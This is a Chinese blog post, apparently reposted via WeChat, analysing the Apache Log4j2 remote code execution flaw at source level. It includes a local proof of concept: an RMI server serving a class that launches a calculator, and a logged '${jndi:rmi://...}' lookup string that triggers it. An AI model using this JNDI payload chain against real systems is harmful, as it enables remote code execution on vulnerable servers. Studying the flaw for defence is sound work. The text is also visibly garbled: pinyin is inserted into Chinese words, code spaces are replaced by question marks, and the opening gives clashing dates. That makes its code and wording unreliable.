Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞源碼級分析,終于會了
點(diǎn)擊上方藍(lán)色字體,選擇“標(biāo)星公眾號”
優(yōu)質(zhì)文章,第一時(shí)間送達(dá)

-? ?漏洞的前因后果? ? -
2021 年 12 月 9 日,2021 年 11 月 24 日,阿里云安全團(tuán)隊(duì)向 Apache 官方報(bào)告了 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞。詳情見?【漏洞預(yù)警】Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞
漏洞描述
Apache Log4j2 是一款優(yōu)秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全團(tuán)隊(duì)向 Apache 官方報(bào)告了 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞。由于 Apache Log4j2 某些功能存在遞歸解析功能,攻擊者可直接構(gòu)造惡意請求,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞。漏洞利用無需特殊配置,經(jīng)阿里云安全團(tuán)隊(duì)驗(yàn)證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影響。阿里云應(yīng)急響應(yīng)中心提醒 Apache Log4j2 用戶盡快采取安全措施阻止漏洞攻擊。
漏洞評級
Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞?嚴(yán)重。
影響版本
Apache Log4j 2.x <= 2.14.1
安全建議
1、升級 Apache Log4j2 所有相關(guān)應(yīng)用到最新的 log4j-2.15.0-rc1 版本,地址?https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2、升級已知受影響的應(yīng)用及組件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid。

-? ?本地復(fù)現(xiàn)漏洞 ? -
首先需要使用低版本的 log4j 包,我們在本地新建一個(gè) Spring Boot 項(xiàng)目,使用 2.5.7 版本的 Spring Boot,可以看到一老的 log4j 是 2.14.1,可以復(fù)現(xiàn)漏洞。

參考 Apache Log4j Lookups,我們先使用代碼在 log 里獲取一下 java:vm。
本地打印 JVM 基礎(chǔ)信息

@SpringBootTest
class?Log4jApplicationTests?{
?private?static?final?Logger?logger?=?LogManager.getLogger(SpringBootTest.class);
?@Test
?void?log4j()?{
??logger.info("content?{}",?"${java:vm}");
?}
}
可以發(fā)現(xiàn)輸出是:
content?Java?HotSpot(TM)?64-Bit?Server?VM?(build?25.152-b16,?mixed?mode)
使用 JavaLookup 獲取到了 JVM 的相關(guān)信息(需要使用java前綴)。
本地獲取服務(wù)器的打印信息
本地啟動(dòng)一個(gè) RMI 服務(wù):
public?class?Server?{
????public?static?void?main(String[]?args)?throws?Exception?{
????????Registry?registry?=?LocateRegistry.createRegistry(1099);
????????String?url?=?"http://127.0.0.1:8081/";
????????//?Reference?需要傳入三個(gè)參數(shù)?(className,factory,factoryLocation)
????????//?第一個(gè)參數(shù)隨意填寫即可,第二個(gè)參數(shù)填寫我們?http?服務(wù)下的類名,第三個(gè)參數(shù)填寫我們的遠(yuǎn)程地址
????????Reference?reference?=?new?Reference("ExecCalc",?"ExecCalc",?url);
????????ReferenceWrapper?referenceWrapper?=?new?ReferenceWrapper(reference);
????????registry.bind("calc",?referenceWrapper);
????}
}
ExecCalc 類直接放在根目錄,不能申請包名,即不能存在 package xxx。聲明后編譯的 class 文件函數(shù)名稱會加上包名從而不匹配。參考 Java 安全-RMI-JNDI 注入。
public?class?ExecCalc?{
????static?{
????????try?{
????????????System.out.println("open?a?Calculator!");
????????????Runtime.getRuntime().exec("open?-a?Calculator");
????????}?catch?(Exception?e)?{
????????????e.printStackTrace();
????????}
????}
}
之后啟動(dòng)上面的 Server 類,再執(zhí)行下面的代碼:
@Test
void?log4jEvil()?{
????System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase",?"true");
????logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
}
發(fā)現(xiàn)測試用例的控制臺輸出了?open a Calculator!?并啟動(dòng)了計(jì)算器。


-? ?log4j 漏洞源碼分析 ? -
只看?logger.info("${jndi:rmi://127.0.0.1:1099/calc}");?這段代碼,首先會調(diào)用到 org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent:
private?void?processLogEvent(final?LogEvent?event,?final?LoggerConfigPredicate?predicate)?{
????event.setIncludeLocation(isIncludeLocation());
????if?(predicate.allow(this))?{
????????callAppenders(event);
????}
????logParent(event,?predicate);
}
其中 LogEvent 結(jié)構(gòu)如下:

encode 對應(yīng)的事件,將 ${param} 里的 param 解析出來,org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#tryAppend
private?void?tryAppend(final?LogEvent?event)?{
????if?(Constants.ENABLE_DIRECT_ENCODERS)?{
????????directEncodeEvent(event);
????}?else?{
????????writeByteArrayToManager(event);
????}
}
protected?void?directEncodeEvent(final?LogEvent?event)?{
????getLayout().encode(event,?manager);
????if?(this.immediateFlush?||?event.isEndOfBatch())?{
????????manager.flush();
????}
}
調(diào)用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable,將對應(yīng)參數(shù)解析出結(jié)果。
protected?String?resolveVariable(final?LogEvent?event,?final?String?variableName,?final?StringBuilder?buf,
????????????????????????????????????final?int?startPos,?final?int?endPos)?{
????final?StrLookup?resolver?=?getVariableResolver();
????if?(resolver?==?null)?{
????????return?null;
????}
????return?resolver.lookup(event,?variableName);
}

和官方文檔上是能夠?qū)?yīng)上的,即 log 里只解析前綴為?date、jndi?等的命令,本文的測試用例使用的是?${jndi:rmi://127.0.0.1:1099/calc}。

解析出參數(shù)的結(jié)果, org.apache.logging.log4j.core.lookup.Interpolator#lookup
@Override
public?String?lookup(final?LogEvent?event,?String?var)?{
????if?(var?==?null)?{
????????return?null;
????}
????final?int?prefixPos?=?var.indexOf(PREFIX_SEPARATOR);
????if?(prefixPos?>=?0)?{
????????final?String?prefix?=?var.substring(0,?prefixPos).toLowerCase(Locale.US);
????????final?String?name?=?var.substring(prefixPos?+?1);
????????final?StrLookup?lookup?=?strLookupMap.get(prefix);
????????if?(lookup?instanceof?ConfigurationAware)?{
????????????((ConfigurationAware)?lookup).setConfiguration(configuration);
????????}
????????String?value?=?null;
????????if?(lookup?!=?null)?{
????????????value?=?event?==?null???lookup.lookup(name)?:?lookup.lookup(event,?name);
????????}
????????if?(value?!=?null)?{
????????????return?value;
????????}
????????var?=?var.substring(prefixPos?+?1);
????}
????if?(defaultLookup?!=?null)?{
????????return?event?==?null???defaultLookup.lookup(var)?:?defaultLookup.lookup(event,?var);
????}
????return?null;
}
其核心是這段代碼:
value?=?event?==?null???lookup.lookup(name)?:?lookup.lookup(event,?name);
org.apache.logging.log4j.core.lookup.JndiLookup#lookup

接下來就是調(diào)用 javax.naming 的 JDK 相關(guān)代碼,遠(yuǎn)程加載了 ExecCalc 類,在本地輸出了?open a Calculator!?并啟動(dòng)了計(jì)算器。

-? ?擴(kuò)展:JNDI? -
JNDI (Java Naming and Directory Interface) 是一組應(yīng)用程序接口,它為開發(fā)人員查找和訪問各種資源提供了統(tǒng)一的通用接口,可以用來定位用戶、網(wǎng)絡(luò)、機(jī)器、對象和服務(wù)等各種資源。比如可以利用 JNDI 在局域網(wǎng)上定位一臺打印機(jī),也可以用 JNDI 來定位數(shù)據(jù)庫服務(wù)或一個(gè)遠(yuǎn)程 Java 對象。JNDI 底層支持 RMI 遠(yuǎn)程對象,RMI 注冊的服務(wù)可以通過 JNDI 接口來訪問和調(diào)用。
JNDI 是應(yīng)用程序設(shè)計(jì)的 Api,JNDI 可以根據(jù)名字動(dòng)態(tài)加載數(shù)據(jù),支持的服務(wù)主要有以下幾種:DNS、LDAP、 CORBA 對象服務(wù)、RMI 等等。
其應(yīng)用場景比如:動(dòng)態(tài)加載數(shù)據(jù)庫配置文件,從而保持?jǐn)?shù)據(jù)庫代碼不變動(dòng)等。


-? ?危害是什么?? ? -
client 可以獲取服務(wù)器的某些信息,通過 JNDI 遠(yuǎn)程加載類
client 向服務(wù)器注入惡意代碼
? 作者?|??Yano_nankai
來源 |??cnblogs.com/510602159-Yano/p/15689497.html
加鋒哥微信:?java1239?? 圍觀鋒哥朋友圈,每天推送Java干貨!

